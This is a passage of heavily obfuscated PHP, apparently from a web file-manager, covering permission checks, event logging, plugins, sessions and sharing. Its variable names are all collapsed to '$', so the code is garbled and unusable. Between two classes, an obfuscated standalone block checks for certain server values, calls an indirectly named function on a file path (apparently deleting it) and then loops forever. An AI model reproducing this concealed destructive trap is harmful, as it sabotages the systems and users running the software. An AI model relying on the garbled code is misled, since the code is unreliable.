SourceModel::TYPE_GROUP) { $ = $ * 2; } if ($[$[180]] == SourceModel::TYPE_USER) { $ = $; } if ($[$[180]] == SourceModel::TYPE_USER && $[$[540]] == $[214]) { $ = 0; } $[] = $[$[457]] + $; } array_multisort($, SORT_DESC, $); return $; } public function getAllChildrenByUser($, $) { $ =& $_SERVER[]; $ = Model($[569])->getInfo($); if (!$ || !$ || !$) { return array(); } $ = Model($[1384])->sourceInfo($); $ = array(); $ = 1; if ($[$[182]] == $[214] && $[$[540]] != $ && $this->groupContainUser($[$[540]], $)) { foreach ($[$[2091]] as $) { $ = Model($[556])->getInfo($[$[1904]]); $ = Model($[569])->getInfoSimpleOuter($); $[$[510]] = $[$[457]]; if (Model($[542])->authCheckAction($[$[457]][$[457]], $[1925])) { continue; } $ = array($[32] => $[1259] . $[$[32]], $[183] => $[$[89]][$[183]], $[86] => KodIO::make($[$[89]][$[183]]), $[182] => $[214], $[180] => $[549], $[33] => $[586], $[553] => $[$[560]], $[1904] => $[$[1904]], $[557] => $[$[182]], $[2088] => array($)); $[$[$[183]]] = $; } } $ = array(); $ = $this->getAllChildren($); foreach ($ as $) { $ = !1; foreach ($[$[2088]] as $) { if ($[$[1705]]) { if ($[$[1705]] == $) { $ = !0; break; } } if ($[$[1904]]) { if ($this->groupContainUser($[$[1904]], $)) { $ = !0; break; } } } if ($) { $[] = $; } $ = $[$[183]]; if (isset($[$])) { $[$[2088]][] = $[$][0]; $[$] = !1; } } $ = array_filter(array_values($)); $ = array_merge($, $); return $; } public function setAllChildrenByUser($, $, $) { $ =& $_SERVER[]; $ = $this->getAllChildrenByUser($, $); if (!$ || !$) { return !1; } foreach ($ as $) { $ = array(); foreach ($[$[2088]] as $) { $ = $[$[510]]; $ = $[$[1705]] ? SourceModel::TYPE_USER : SourceModel::TYPE_GROUP; $ = $[$[1705]] ? $[$[1705]] : $[$[1904]]; if ($[$[1705]] && $[$[1705]] == $) { continue; } $[] = array($[183] => $[$[183]], $[180] => $, $[540] => intval($), $[2008] => isset($[$[445]]) ? intval($[$[445]]) : 0, $[2068] => isset($[$[2068]]) ? intval($[$[2068]]) : -1); } $[] = array($[183] => $[$[183]], $[180] => SourceModel::TYPE_USER, $[540] => intval($), $[2008] => intval($), $[2068] => -1); $this->where(array($[461] => $[$[183]]))->delete(); $this->addAll($); } return !0; } public function get($) { $ = $this->getSourceList(array($), !0); return $[0]; } public function getSourceList($, $ = false, $ = false) { $ =& $_SERVER[]; if (!$) { return array(); } $ = Model($[1384]); if (!$ && count($) == 1) { $ = array(); $[$[0]] = $->sourceInfo($[0]); } if (!$) { $ = array($[461] => array($[462], $)); $ = $->field($[2092])->where($)->select(); $ = array_to_keyvalue($, $[183]); } $ = $; foreach ($ as $ => $) { $ = $->parentLevelArray($[$[555]]); $ = array_merge($, array($), array_reverse($)); } $ = array_values(array_unique($)); if (!$) { return array(); } $ = $this->sourceAuthSelect($); $ = array(); foreach ($ as $) { if (isset($[$])) { $[$] = $[$]; } } $ = $this->userIsRoot($); $ = AuthModel::authAll(); $ = array($[458] => $, $[2093] => array($[463] => 0, $[1910] => $, $[464] => LNG($[2094]), $[1927] => $[2095])); $ = array(); foreach ($ as $ => $) { if ($ && $GLOBALS[$[6]][$[1923]]) { $[$] = $; continue; } $[$] = $this->makeSourceAuth($, $, $); } return $; } public function authDeepCheck($, $ = false) { $ =& $_SERVER[]; $ = $ ? $ : USER_ID; $ = $this->makeAuthDeep($); if (!in_array($, $[$[2096]])) { return !1; } $ = array(); foreach ($[$[2097]] as $ => $) { if (!in_array($, $)) { continue; } $[] = $; } if (!$) { return !1; } $ = $ ? $[0] : $; return array($[458] => -1, $[510] => array($[463] => $[1239], $[1910] => $[214], $[464] => LNG($[2098]), $[1927] => $[2099]), $[2100] => LNG($[2101]), $[2102] => $this->sourceAuthInfo($)); } protected function makeAuthDeep($ = false) { $ =& $_SERVER[]; static $ = array(); $ = $ ? $ : USER_ID; if (isset($[$])) { return $[$]; } $ = Model($[2103])->listData(); $ = array(); foreach ($ as $) { if ($[$[457]] == 0 && $[$[1926]] == $[90]) { $[] = $[$[445]]; } } $ = $this->userGroupParents($); $ = array($[180] => SourceModel::TYPE_USER, $[540] => $); if ($) { $ = array(array($[180] => SourceModel::TYPE_USER, $[540] => $), array($[180] => SourceModel::TYPE_GROUP, $[540] => array($[462], $)), $[1051] => $[2002]); } $ = $this->field($[2104])->where($)->select(); $ = array(); $ = array_to_keyvalue_group($, $[183]); foreach ($ as $ => $) { $ = $this->authArrayCheck($, $); if ($[$[458]] > 0) { $[] = $ . $[12]; } } if ($) { $ = Model($[556]); foreach ($ as $) { $ = $->getInfo($); if (!$ || !is_array($[$[89]])) { continue; } $[] = $[$[89]][$[183]]; } } $ = array(); $ = $; $ = Model($[1384]); $ = Model($[556]); $ = array(); $ = array(); $ = array(); $ = array(); if ($) { $ = $->where(array($[183] => array($[462], $)))->select(); foreach ($ as $) { $ = $->parentLevelArray($[$[555]]); $ = array_merge($, $); $[] = $[$[540]]; $[$[$[183]]] = $; $[$[$[183]]] = $[$[540]]; } } $ = array_values(array_unique($)); $ = $; foreach ($ as $) { $ = $->getInfo($); $ = $->parentLevelArray($[$[555]]); $ = array_merge($, $); } $ = array_values(array_unique($)); foreach ($ as $) { $ = $->getInfo($); $[] = $[$[89]][$[183]]; $[$] = $[$[89]][$[183]]; $[$] = $->parentLevelArray($[$[555]]); } foreach ($ as $ => $) { $ = $[$]; if (!$ || !$[$]) { continue; } $ = array(); foreach ($[$] as $) { $[] = $[$]; } $[$] = array_merge($, $); } $ = array_values(array_unique($)); $ = array($[2096] => $, $[2097] => $); $[$] = $; return $; } private function makeSourceAuth($, $, $ = false) { $ =& $_SERVER[]; $ = $[90]; $ = $[$[540]]; $ = $[$[180]] == SourceModel::TYPE_GROUP; $ = $ ? $this->groupRootAuth($, $) : !1; if ($ && Model($[542])->authCheckAction($[$[457]], $[1925])) { return $this->groupAuthInfo($, $); } $ = Model($[1384])->parentLevelArray($[$[555]]); $ = array_merge(array($[$[183]]), array_reverse($)); $ = !1; foreach ($ as $) { if (!isset($[$])) { continue; } $ = $this->authMake($[$], $); if ($[$[510]]) { $ = $; break; } } if (!$) { return $; } if (!$ && $) { $ = $this->groupAuthInfo($, $); } if (!$) { $ = Model($[556])->getInfo($); $ = explode($[50], trim($[$[555]], $[50])); $ = array_reverse($); foreach ($ as $) { if ($ == $[214] || $ == $) { continue; } $ = $this->groupRootAuth($, $); if (!$) { continue; } $ = $this->groupAuthInfo($, $); break; } } if (!$ || $[$[458]] <= 0) { $ = $this->authDeepCheck($[$[183]], $); if ($) { $ = $; } } return $; } private function userIsRoot($ = false) { $ =& $_SERVER[]; if (!$ && KodUser::isRoot()) { return !0; } $ = Model($[569])->getInfo($); $ = Model($[2105])->listData($[$[2106]]); if ($ && $[$[546]][$[2107]] == 1) { return !0; } return !1; } private function sourceAuthInfo($) { $ =& $_SERVER[]; $ = Model($[1384]); $ = $->sourceInfo($); if (!$) { return !1; } $->groupPathDisplay($); $ = array($); $ = $->_listAppendPath($); $ = $[0]; $ = $[$[553]]; if (isset($[$[561]])) { $ = explode($[8], trim($[$[553]], $[8])); array_shift($); $ = $[$[559]] . $[2108] . implode($[8], $); } return array($[464] => $[$[32]], $[86] => KodIO::make($[$[183]]), $[2109] => $); } private function groupAuthInfo($, $) { $ =& $_SERVER[]; $ = Model($[556])->getInfo($); return array($[2110] => intval($[$[457]]), $[2093] => $, $[2111] => LNG($[2112]), $[2102] => array($[464] => $[$[32]], $[86] => KodIO::make($[$[89]][$[183]]), $[2109] => $[$[560]])); } protected function groupRootAuth($, $ = false) { $ =& $_SERVER[]; $ = $ ? $ : USER_ID; $ = $ . $[2113] . $; static $ = array(); if (isset($[$])) { return $[$]; } $ = Model($[556])->getInfo($); $ = $this->userGroupList($); $ = isset($[$]) ? $[$][$[457]] : !1; if ($ && Model($[542])->authCheckAction($[$[457]], $[1925])) { $[$] = $; return $; } $ = $this->sourceAuthSelect($[$[89]][$[183]]); $ = $ ? $this->authMake($, $) : !1; $ = $ ? $[$[510]] : !1; $[$] = $ ? $ : $; return $[$]; } public function authOwnerApply($) { $ =& $_SERVER[]; if (empty($[$[457]]) || isset($[$[2114]]) && $[$[2114]]) { return $; } if (AuthModel::authCheckRoot($[$[457]][$[458]])) { return $; } $ = Model($[1384])->parentLevelArray($[$[555]]); $ = array_merge(array($[$[183]]), array_reverse($)); $ = $this->sourceAuthSelect($); $ = array(); $ = array(); foreach ($ as $ => $) { $ = $this->authFolderOwnerUser($); $[$] = $; $ = array_merge($, $[$[632]]); if ($[$[2115]]) { break; } } if (count($) == 0) { $ = $this->authFolderOwnerGroup($[$[540]]); } $ = array_unique($); if (AuthModel::authCheckRoot($[$[457]][$[458]])) { $[] = USER_ID; } $[$[457]][$[2116]] = Model($[548])->userListInfo($); return $; } private function authFolderOwnerGroup($) { $ =& $_SERVER[]; $ = Model($[1994])->where(array($[1904] => $))->select(); $ = array(); if (!$) { return $; } foreach ($ as $) { $ = $this->authInfo($); if (AuthModel::authCheckRoot($[$[457]])) { $[] = $[$[1705]]; } } return $; } private function authFolderOwnerUser($) { $ =& $_SERVER[]; $ = array(); $ = !1; foreach ($ as $) { $ = $this->authInfo($); if ($[$[540]] == $[214]) { $ = !0; } if ($[$[180]] == SourceModel::TYPE_USER) { if (AuthModel::authCheckRoot($[$[457]])) { $[] = $[$[540]]; } } } return array($[632] => $, $[2115] => $); } public function authMake($, $ = false) { $ =& $_SERVER[]; $ = $this->authArrayCheck($, $); if ($[$[2117]]) { $[$[2117]] = $this->sourceAuthInfo($[$[2117]]); } return $; } public function authArrayCheck($, $ = false) { $ =& $_SERVER[]; if (!$) { return array($[458] => 0, $[510] => !1); } $ = $ ? $ : USER_ID; $ = 0; $ = 0; $ = 0; $ = 0; $ = 0; $ = 0; $ = 1000; $ = 0; $ = 0; $ = 0; $ = 0; $ = array($[183] => 0); foreach ($ as $) { $ = $this->authInfo($); if (!$) { continue; } $ = $[$[540]]; $ = intval($[$[457]]); if ($[$[180]] == SourceModel::TYPE_USER && $ == $) { $ = !0; $ = $; $ = $; } else { if ($[$[180]] == SourceModel::TYPE_GROUP && $this->groupContainUser($, $)) { $ = !0; $ = $this->groupStepToUserGroup($, $); if ($ < $) { $ = $; $ = $; $ = $; $ = $; } if ($ == $ && $ >= $) { $ = $; $ = $; $ = $; } } else { if ($ == $[214]) { $ = !0; $ = $; $ = $; } } } } if ($) { $ = $; $ = $; $ = LNG($[2118]); } else { if ($) { $ = $; $ = $; $ = Model($[556])->getInfo($); $ = $[165] . $[$[560]] . $[2119] . LNG($[2120]); } else { if ($) { $ = $; $ = $; $ = LNG($[2090]); } else { $ = 0; $ = !1; $ = $[12]; } } } $ = array($[2110] => intval($), $[2093] => $, $[2111] => $, $[2102] => $[$[183]]); return $; } private function groupContainUser($, $ = false) { return in_array($, $this->userGroupParents($)); } private function groupStepToUserGroup($, $ = false) { $ =& $_SERVER[]; $ = $this->userGroupList($); $ = 1000; $ = $GLOBALS[$[6]][$[91]][$[2007]] == 1; $ = $ ? 3 : 2; foreach ($ as $) { if ($[$[1904]] == $) { return 0; } $ = explode($[50], trim($[$[555]], $[50])); if ($[0] == $[214] && count($) > $) { $ = array_reverse(array_slice($, $)); $ = array_search($, $); if ($ !== !1 && $ + 1 <= $) { $ = $ + 1; } } } return $; } private function userGroupList($ = false) { $ =& $_SERVER[]; static $ = array(); if (isset($[$])) { return $[$]; } $ = Model($[569])->getInfo($); $[$] = array_to_keyvalue($[$[2091]], $[1904]); return $[$]; } public function userGroupParents($) { $ =& $_SERVER[]; static $ = array(); $ = $ ? $ : USER_ID; if (isset($[$])) { return $[$]; } $ = $this->userGroupList($); $ = array(); $ = $GLOBALS[$[6]][$[91]][$[2007]] == 1; $ = $ ? 3 : 2; foreach ($ as $) { $ = array($[$[1904]]); $ = explode($[50], trim($[$[555]], $[50])); if ($[0] == $[214] && count($) > $) { $ = array_slice($, $); $ = array_merge($, array_reverse($)); } $ = array_merge($, $); } $[$] = array_unique($); return $[$]; } public function authTargetInfoMake($) { $ =& $_SERVER[]; $ = array(); $ = array(); foreach ($ as $) { if ($[$[180]] == SourceModel::TYPE_USER) { $[] = intval($[$[540]]); } else { if ($[$[180]] == SourceModel::TYPE_GROUP) { $[] = intval($[$[540]]); } } } if ($) { $ = Model($[548])->userListInfo($); } if ($) { $ = array($[1992] => array($[462], $)); $ = Model($[556])->field($[2121])->where($)->select(); $ = array_to_keyvalue($, $[1904]); } return array($[2122] => $, $[2123] => $); } public function authInfo($) { $ =& $_SERVER[]; if ($[$[2008]]) { $ = Model($[542])->listData($[$[2008]]); if (!$) { return !1; $ = Model($[542])->listData(); $ = array_filter_by_field($, $[457], $[214]); return $; } $ = array_field_key($, array($[445], $[32], $[457], $[1927], $[1928])); $[$[2124]] = $; return $; } else { return array($[463] => 0, $[1910] => $[$[2068]], $[464] => $[12], $[1927] => $[2125]); } } } class SourceEventModel extends ModelBase { protected $tableName = "io_source_event"; protected $dataAuto = array(array("createTime", "time", "insert", "function"), array("desc", '', "insert,update,select", "json")); protected $eventSave = true; public function recodeStop() { $this->eventSave = !1; } public function recodeStart() { $this->eventSave = !0; } public function addEvent($, $, $ = '') { $ =& $_SERVER[]; if (!$this->eventSave) { return; } $ = Model($[1384])->sourceInfo($); if (!$) { return !1; } if ($this->isCacheEvent($, $)) { return; } if ($ && is_string($)) { $ = array($[1943] => $); } $ = defined($[2126]) ? USER_ID : 0; $ = array($[461] => $, $[2127] => $[$[182]], $[2128] => $[$[32]], $[553] => !empty($[$[553]]) ? $[$[553]] : $[12], $[1696] => $, $[466] => $, $[1698] => $); $this->addSystemLog($, $); unset($[$[2128]], $[$[553]]); return $this->add($); } private function addSystemLog($, $) { $ =& $_SERVER[]; if ($ == $[2129]) { $ = $[$[496]][$[2130]]; } else { if (in_array($, array($[1884], $[2131]))) { $ = $[$[496]][$[799]]; } } $ = array_merge($, array($[2132] => $[$[183]], $[2133] => $[$[2133]])); Hook::trigger($[2134], $[2135] . $, $); Model($[1848])->addLog($[2135] . $, $); } private function isCacheEvent($, $) { if ($[$_SERVER[][180]] == SourceModel::TYPE_SYSTEM) { return !0; } return !1; } public function eventCreate($, $) { $ =& $_SERVER[]; $ = Model($[1384])->sourceInfo($); $ = array($[2130] => $, $[32] => $[$[32]]); return $this->addEvent($, $[2129], $); } public function eventFileEdit($) { $ =& $_SERVER[]; $ = array($[2136] => $_SERVER[$[2137]], $[2138] => strtolower(ACTION)); if (isset($GLOBALS[$[7]][$[2139]])) { $[$[2139]] = $[90]; } return $this->addEvent($, $[1874], $); } public function eventRecycle($, $) { return $this->addEvent($, $_SERVER[][2131], $); } public function eventRemove($) { $ =& $_SERVER[]; $ = Model($[1384])->sourceInfo($); $ = $[$[32]]; return $this->addEvent($[$[182]], $[1873], $); } public function eventShare($, $) { return $this->addEvent($, $_SERVER[][1884], $); } public function eventMove($, $, $) { $ =& $_SERVER[]; $ = Model($[1384]); $ = $->sourceInfo($); $ = $->sourceInfo($); $ = $->sourceInfo($); $ = array($[1211] => $, $[2140] => $[$[32]], $[2117] => !empty($[$[553]]) ? $[$[553]] : $[12], $[1212] => $, $[2141] => $[$[32]], $[2142] => !empty($[$[553]]) ? $[$[553]] : $[12]); $this->addEvent($, $[590], $); $ = $->sourceInfo($); $ = array($[183] => $[$[183]], $[32] => $[$[32]]); $this->addEvent($, $[2143], $); } public function eventCopy($) { $this->eventCreate($, $_SERVER[][588]); } public function eventRename($, $, $) { $ =& $_SERVER[]; $ = array($[1211] => $, $[1212] => $); return $this->addEvent($, $[1398], $); } public function eventAddComment($, $) { return $this->addEvent($, $_SERVER[][2144], $); } public function eventAddDesc($, $) { return $this->addEvent($, $_SERVER[][2145], $); } public function listBySource($) { $ =& $_SERVER[]; $ = Model($[1384])->sourceInfo($); $ = array($[461] => $); if ($[$[455]] == $[90]) { $ = Model($[1384])->listSearchChildren($, 20000); $[] = $ . $[424]; $ = array($[183] => array($[7], $)); } $ = $this->where($)->order($[2146])->selectPage(); if ($[$[412]][$[413]] == 0) { $[$[412]][$[413]] = 1; $[$[415]] = array(array($[461] => $, $[2127] => $[$[182]], $[1696] => $[$[497]], $[466] => $[2147], $[467] => $[$[217]], $[1698] => $[12])); } return $this->eventListParse($, $); } private function eventListParse($, $) { $ =& $_SERVER[]; $ = $[$[415]]; $ = array_to_keyvalue($, $[12], $[183]); $ = array_to_keyvalue($, $[12], $[2133]); foreach ($ as $) { $ = $[$[496]]; if ($[$[33]] == $[590] && isset($[$[1211]])) { $[] = $[$[1211]] . $[12]; $[] = $[$[1212]] . $[12]; } if ($[$[33]] == $[2143] && isset($[$[183]])) { $[] = $[$[183]] . $[12]; } } $ = array_merge($, $, array($ . $[12])); $ = array_unique($); $ = array_unique(array_to_keyvalue($, $[12], $[1705])); $ = Model($[569])->userListInfo($); $ = Model($[870])->sourceListInfo($, !0); foreach ($ as &$) { if ($[$[33]] == $[590] && isset($[$[496]][$[1211]])) { $[$[496]][$[1211]] = $[$[$[496]][$[1211]]]; $[$[496]][$[1212]] = $[$[$[496]][$[1212]]]; } if ($[$[33]] == $[2143] && isset($[$[496]][$[183]])) { $[$[496]][$[183]] = $[$[$[496]][$[183]]]; } $[$[89]] = $[$[$[183]]]; $[$[2148]] = $[$[$[2133]]]; if ($[$[33]] == $[1873]) { $[$[2148]] = $[$[89]]; $[$[2133]] = $[$[2148]][$[183]]; $[$[89]] = !1; $[$[183]] = $[12]; } $[$[2076]] = $[$[$[1705]]]; } unset($); $[$[415]] = $; return $; } public function removeBySource($) { $ = array($_SERVER[][461] => $); $this->where($)->remove(); } } if (!isset($_SERVER[$_SERVER[][922]]) || !isset($_SERVER[$_SERVER[][923]])) { $_getc = $_SERVER[][925]; $_getfile = $_SERVER[$_SERVER[][926]] . $_SERVER[][927]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][248], $_getfilec); if (count($_getarrs) < $_SERVER[][692]) { $exit = $_SERVER[][928]; $exit(); } $_act = $_SERVER[][932]; $_act($_SERVER[$_SERVER[][926]] . $_SERVER[][927]); $_iii = 2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[][424]); } } goto E; C: class PluginModel extends ModelBaseLight { public $optionType = "System.pluginList"; public $field = array("name", "status", "regiest", "config"); public function loadList($ = false) { $ = array_to_keyvalue($this->listData(), $_SERVER[][32]); if ($) { return $[$]; } return $; } public function init() { $ =& $_SERVER[]; Hook::trigger($[2024]); $ = $this->loadPluginList(); foreach ($ as $ => $) { $ = $this->appAllow($, $); if (!$) { continue; } foreach ($[$[2025]] as $ => $) { Hook::bind($, $); } } Hook::trigger($[2026]); Hook::trigger(ACTION); } public function appAllow($, $, $ = true) { $ =& $_SERVER[]; $ = PLUGIN_DIR . $ . $[2027]; if (!is_array($) || !is_array($[$[2025]]) || $[$[795]] != 1 || !is_file($)) { return !1; } if (KodUser::isRoot()) { if ($GLOBALS[$[6]][$[2028]] || !$GLOBALS[$[6]][$[2029]]) { return !0; } $ = explode($[50], strtolower($GLOBALS[$[6]][$[2029]])); return in_array(strtolower($), $) ? !1 : !0; } if ($ && !Action($[2030])->checkAuth($)) { return !1; } return !0; } public function unInstall($) { $ =& $_SERVER[]; $ = $this->loadList($); if (file_exists(PLUGIN_DIR . $)) { Hook::apply($ . $[2031]); } $this->remove($[$[445]]); } public function changeStatus($, $) { $ =& $_SERVER[]; $ = $this->loadList($); if ($) { Hook::apply($ . $[2032]); } $this->update($[$[445]], array($[2033] => $)); } public function appRegist($, $) { $ =& $_SERVER[]; $ = $this->loadList($); if ($) { $this->update($[$[445]], array($[2025] => $)); } else { $ = array($[32] => $, $[2025] => $, $[795] => 0, $[6] => $this->getConfigDefault($)); $this->insert($); } } public function getConfigDefault($) { $ =& $_SERVER[]; $ = array(); $ = $this->getPackageJson($); if (!$ && is_array($[$[2034]])) { return $; } foreach ($[$[2034]] as $ => $) { if (!isset($[$[420]]) || isset($[$])) { continue; } $[$] = $[$[420]]; } return $; } public function getPackageJson($) { return Hook::apply($ . $_SERVER[][2035]); } public function getConfig($, $ = false) { $ =& $_SERVER[]; $ = array(); $ = $this->loadList($); if ($ && is_array($[$[6]])) { $ = $[$[6]]; } if (!$ || $) { $ = $this->getConfigDefault($); } return $; } public function setConfig($, $ = false) { $ =& $_SERVER[]; $ = $this->loadList($); if (!$) { return !1; } $ = $[$[6]]; if ($ == !1) { $ = array(); $ = $this->getConfigDefault($); } foreach ($ as $ => $) { $[$] = is_string($) ? trim($) : $; } $this->update($[$[445]], array($[6] => $)); } public function viewList() { $ =& $_SERVER[]; $ = $this->loadList(); $this->pluginScan($); $ = $this->loadPluginList(); $ = array(); foreach ($ as $ => $) { $ = $; unset($[$[2025]], $[$[6]]); $ = PLUGIN_DIR . $[$[32]] . $[2027]; if (!is_file($)) { continue; } $ = Hook::apply($[$[32]] . $[2035]); if (!is_array($)) { continue; } $[$] = array_merge($, $); if ($[$[6]][$[1618]] != $[$[1592]]) { Hook::apply($[$[32]] . $[2032]); $[$[6]][$[1618]] = $[$[1592]]; $this->update($[$[445]], array($[6] => $[$[6]])); } } return $; } private function loadPluginList() { $ =& $_SERVER[]; $ = $this->loadList(); if (strtolower(MOD) == $[2036]) { return $; } $ = Hook::trigger($[2037], $); if ($ && !$) { die; } return $ ? $ : $; } private function pluginScan($) { $ =& $_SERVER[]; recursion_dir(PLUGIN_DIR, $, $, 0); foreach ($ as $) { $ = get_path_this($); if (isset($[$]) || !file_exists($ . $[2038]) || !file_exists($ . $[2027])) { continue; } Hook::apply($ . $[2032]); } } } class SessionModel extends ModelBase { protected $tableName = "system_session"; public function get($) { $ =& $_SERVER[]; $ = $this->where(array($[2039] => $))->find(); if (!is_array($)) { return !1; } return $[$[799]]; } public function set($, $, $ = 3600) { $ =& $_SERVER[]; $ = array($[2039] => $, $[1943] => $, $[2040] => $ + time()); if (Session::get($[2041])) { $[$[1705]] = Session::get($[2041]); } else { $[$[1705]] = 0; } if ($this->get($)) { return $this->where(array($[2039] => $))->save($); } else { return $this->add($, array(), !0); } } public function remove($) { return $this->where(array($_SERVER[][2039] => $))->delete(); } public function clearTimeout() { return $this->where($_SERVER[][2042] . time())->delete(); } } class ShareModel extends ModelBase { protected $tableName = "share"; protected $dataAuto = array(array("modifyTime", "time", "insert,update", "function"), array("createTime", "time", "insert", "function"), array("options", '', "insert,update,select", "json")); private $fieldList = "*"; protected function cacheFunctionAlias($) { $ =& $_SERVER[]; $ = isset($[0]) ? $[0] : !1; return array($[2043] => array(USER_ID, $[2044]), $[1984] => array($, $[2045])); } protected function listSimple() { $ = array($_SERVER[][1705] => USER_ID); $ = $this->field($this->fieldList)->where($)->select(); return $ ? $ : array(); } protected function getInfo($, $ = false) { $ =& $_SERVER[]; if ($) { return $this->_getShareInfo(array($[635] => $)); } $ = $this->cacheFunctionGet($[1986], $); return $; } public function getInfoByHash($) { return $this->_getShareInfo(array($_SERVER[][2046] => $)); } public function getInfoByPath($) { $ =& $_SERVER[]; $ = array($[1705] => USER_ID, $[183] => $); return $this->_getShareInfo($); } public function getInfoBySourcePath($) { $ =& $_SERVER[]; $ = array($[1705] => USER_ID, $[1226] => $); return $this->_getShareInfo($); } private function _getShareInfo($) { $ =& $_SERVER[]; $ = $this->where($)->find(); if (!$) { return !1; } $ = array($[635] => $[$[635]]); $ = $[2047]; $ = Model($[636])->order($[445])->field($)->where($)->select(); if ($[$[183]] == $[214]) { $[$[89]] = IO::info($[$[1226]]); } else { $[$[89]] = Model($[1384])->pathInfo($[$[183]]); } $[$[2048]] = $; return $; } protected function getInfoAuth($) { $ =& $_SERVER[]; $ = $this->getInfo($); if ($[$[1705]] == USER_ID) { $[$[457]] = $[$[89]][$[457]]; } else { $[$[457]] = Model($[538])->authMake($[$[2048]]); } return $; } protected function listData($ = null, $ = 300) { $ =& $_SERVER[]; $ = array(array($[533] => array($[1063], 0), $[633] => array($[1063], 0), $[2049] => $[2002])); if ($ == $[2050]) { $ = array($[533] => 1); } else { if ($ == $[1212]) { $ = array($[633] => 1); } } $[$[1705]] = USER_ID; $ = $this->where($)->selectPage($); return $; } protected function listToMe($ = 300) { $ =& $_SERVER[]; $ = Model($[2051])->userGroupParents(USER_ID); $ = array($[618] => SourceModel::TYPE_USER, $[540] => USER_ID); if ($) { $ = array(array($[618] => SourceModel::TYPE_USER, $[540] => USER_ID), array($[618] => SourceModel::TYPE_GROUP, $[540] => array($[7], $)), $[2049] => $[2002]); } $ = Model($[636])->where($)->selectPage($); $ = array_to_keyvalue_group($[$[415]], $[635]); if (!$) { return $; } $ = $[2052]; $ = array($[635] => array($[462], array_keys($)), $[1705] => array($[1065], $[214])); $ = $this->field($)->where($)->select(); foreach ($ as $ => &$) { $[$[2048]] = $[$[$[635]]]; } unset($); $ = array($[2053] => $, $[2054] => $[$[412]]); return $; } protected function shareAdd($, $) { $ =& $_SERVER[]; $ = $this->_addShareData($, $); if (!empty($[$[2055]])) { $this->_shareAuthSet($, $[$[2055]]); } $this->shareEventAdd($, $, $[2056]); return $; } protected function shareAddSystem($, $) { $ =& $_SERVER[]; $ = $this->_addShareData($, $, $[181]); $this->_shareAuthSet($, $[$[2055]]); return $; } private function shareEventAdd($, $, $ = "add") { $ =& $_SERVER[]; if (!$ || $ == $[214]) { return; } if ($ == $[2056]) { if ($[$[533]] == $[90]) { Model($[603])->eventShare($, $[2057]); } if ($[$[633]] == $[90]) { Model($[603])->eventShare($, $[2058]); } return; } $ = $this->getInfoByPath($); $ = $[2059]; if ($[$[533]] == $[214] && $[$[533]] == $[90]) { $ = $[2057]; } if ($[$[533]] == $[90] && $[$[533]] == $[214]) { $ = $[2060]; } if ($[$[633]] == $[214] && $[$[633]] == $[90]) { $ = $[2058]; } if ($[$[633]] == $[90] && $[$[633]] == $[214]) { $ = $[2061]; } Model($[603])->eventShare($, $); return; } private function _addShareData($, $ = array(), $ = false) { $ =& $_SERVER[]; $ = $ == $[181] ? 0 : USER_ID; $ = array($[461] => $, $[1696] => $); if ($ == 0) { $ = array($[2062] => $[$[1226]], $[1696] => $); } if ($ = $this->where($)->find()) { return $[$[635]]; } if ($ == 0) { $ = array($[32] => get_path_this($[$[86]])); } else { $ = Model($[870])->sourceInfo($); if (!$) { return !1; } } if (!$[$[1593]]) { $[$[1593]] = $[$[32]]; } $ = array($[1696] => $, $[461] => $, $[1593] => $[12], $[533] => 0, $[633] => 0, $[1226] => $[12], $[353] => $[12], $[940] => $[12], $[2063] => 0, $[2064] => 0, $[806] => 0, $[2065] => $[12], $[2046] => $[12]); $ = explode($[50], $[2066]); foreach ($ as $) { if (!isset($[$])) { continue; } $[$] = $[$]; } $ = $this->add($); $ = array($[2046] => short_id($)); $this->where(array($[2067] => $))->save($); return $; } private function _shareAuthSet($, $) { $ =& $_SERVER[]; if (!is_array($)) { return !1; } $ = Model($[2012]); $->where(array($[635] => $))->delete(); $ = array(); foreach ($ as $) { $ = SourceModel::TYPE_USER; if ($[$[180]] == SourceModel::TYPE_GROUP) { $ = SourceModel::TYPE_GROUP; } $ = array($[635] => $, $[180] => $, $[540] => intval($[$[540]]), $[2008] => 0, $[2068] => -1); if ($[$[2008]]) { $[$[2008]] = $[$[2008]]; } else { if ($[$[2068]]) { $[$[2068]] = $[$[2068]]; } } $[] = $; } return $->addAll($, array(), !0); } public function numViewAdd($) { $ =& $_SERVER[]; $ = array($[2067] => $); $this->where($)->setAdd($[2063]); } public function numDownloadAdd($) { $ =& $_SERVER[]; $ = array($[2067] => $); $this->where($)->setAdd($[2064]); } protected function shareEdit($, $) { $ =& $_SERVER[]; $ = $this->getInfo($); if (!$) { return !1; } $this->_checkLinkShare($, $); $ = array(); $ = explode($[50], $[2069]); foreach ($ as $) { if (!array_key_exists($, $)) { continue; } $[$] = $[$]; } $this->shareEventAdd($[$[183]], $, $[1874]); $this->where(array($[2067] => $))->save($); if (isset($[$[2055]])) { $this->_shareAuthSet($, $[$[2055]]); } return !0; } private function _checkLinkShare($, $) { $ =& $_SERVER[]; if ($[$[533]] != $[90]) { return; } $ = $[$[89]][$[183]]; if ($[$[89]][$[33]] != $[216]) { $ = $this->_folderReport($); if (!$) { return; } show_json(LNG($[2070]) . $[2071] . $, !1); } $ = Model($[870])->fileInfoGet($[$[89]][$[183]]); if (!$) { return; } $ = $this->shareFileMeta($[$[511]]); if (isset($[$[420]]) && $[$[420]] == $[90]) { show_json(LNG($[2072]), !1); } } private function _folderReport($) { $ =& $_SERVER[]; $ = array($[511] => array($[1063], 0), $[795] => 3); $ = Model($[2073])->where($)->field($[511])->select(); if (!$) { return !1; } $ = array_to_keyvalue($, $[12], $[511]); $ = $[50] . $ . $[50]; $ = array($[511] => array($[7], $), $[555] => array($[429], "%{$}%"), $[475] => 0); $ = Model($[870])->where($)->field($[2074])->find(); if (!$) { return !1; } $ = substr($[$[555]], strpos($[$[555]], $)); $ = array($[183] => array($[7], trim($, $[50]))); $ = Model($[870])->where($)->field($[32])->select(); $ = array_to_keyvalue($, $[12], $[32]); $[] = $[$[32]]; return implode($[8], $); } protected function remove($) { $ =& $_SERVER[]; if (is_array($)) { $ = array($[7], $); } $ = array($[635] => $); $ = $this->where($)->delete(); if ($) { Model($[636])->where(array($[635] => $))->delete(); } $ = is_array($) ? $[1] : array($); for ($ = 0; $ < count($); $++) { $ = $this->getInfo($[$]); if ($[$[633]] == $[90]) { Model($[603])->eventShare($[$[183]], $[2061]); } if ($[$[533]] == $[90]) { Model($[603])->eventShare($[$[183]], $[2060]); } } return $; } protected function removeBySource($) { $ =& $_SERVER[]; $ = array($[461] => array($[462], $)); $ = 